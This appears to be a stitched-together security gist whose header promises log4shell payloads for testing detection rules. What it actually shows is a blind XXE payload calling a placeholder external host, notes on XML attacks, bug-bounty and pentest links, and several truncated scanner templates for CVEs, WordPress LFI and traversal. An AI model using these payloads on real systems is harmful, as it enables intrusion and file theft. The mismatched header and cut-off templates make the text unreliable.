0xSojalSec

Objective

This gist gather a list of log4shell payloads seen on my twitter feeds.

💨 I will update it every time I see new payloads.

The goal is to allows testing detection regexes defined in protection systems.

⚠️ ⚠️ ⚠️

0xSojalSec

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

0xSojalSec

XML Vulnerabilities

XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.

---

0xSojalSec

Bug Bounty Checklist and Cheatsheets

WAPT-https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf

Authenication-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/Authentication.pdf

Oauth Misconfiguration-https://binarybrotherhood.io/oauth2_threat_model.html

File Upload-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/File%20Upload.pdf

0xSojalSec

Bug Bounty payloads github Repos List:

PayloadsAllTheThings - https://lnkd.in/gjTPbtz

cujanovic - https://lnkd.in/gSTJQN4

Payload Box (cmdi , sqli , xss , lfi , rfi etc) - https://lnkd.in/g6B28dU

SecLists - https://lnkd.in/g6ucAZQ

0xSojalSec

Mobile Pentesting Resources

https://youtube.com/playlist?list=PLY47jY-dcCPXA-IAXaP92FZIkp75fUVfo

https://xmind.net/m/GkgaYH/

https://iamsarvagyaa.github.io/android-security-part-one/

https://hacker101.com/sessions/android-hacking-b3nac.html

0xSojalSec

info:
  name: CVE-2020-0646
  author:  0x240x23elu
  severity: High

requests:
  - raw:
      - |
        POST /EN/_vti_bin/WebPartPages.asmx HTTP/1.1
        Host: {{Hostname}}

0xSojalSec

id: CVE-2020-17519

info:
  name: Apache Flink Arbitrary file reading with JobManager
  author: 0x240x23elu & 0rich1 of Ant Security FG Lab
  severity: High

requests:
  - method: GET
    path:

0xSojalSec

id: wordpress-LFI

info:
  name: wordpress-LFI
  author: 0x240x23elu
  severity: High

requests:
  - method: GET
    path:

0xSojalSec

id: CVE_RCE2-1
info:
  name: CVE_RCE2
  author: 0x240x23elu
  severity: high

requests:

  - payloads:
      dirt: /mnt/d/tools/alltest/myopen/payload/PayloadsAllTheThings/DirectoryTraversal/Intruder/traversals-8-deep-exotic-encoding.txt